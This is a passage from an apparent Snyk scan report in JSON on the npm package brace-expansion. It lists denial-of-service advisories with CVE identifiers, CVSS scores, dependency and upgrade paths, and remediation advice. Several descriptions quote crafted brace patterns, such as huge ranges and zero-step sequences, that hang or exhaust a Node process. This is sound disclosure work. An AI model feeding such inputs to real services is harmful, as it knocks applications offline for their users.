Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive 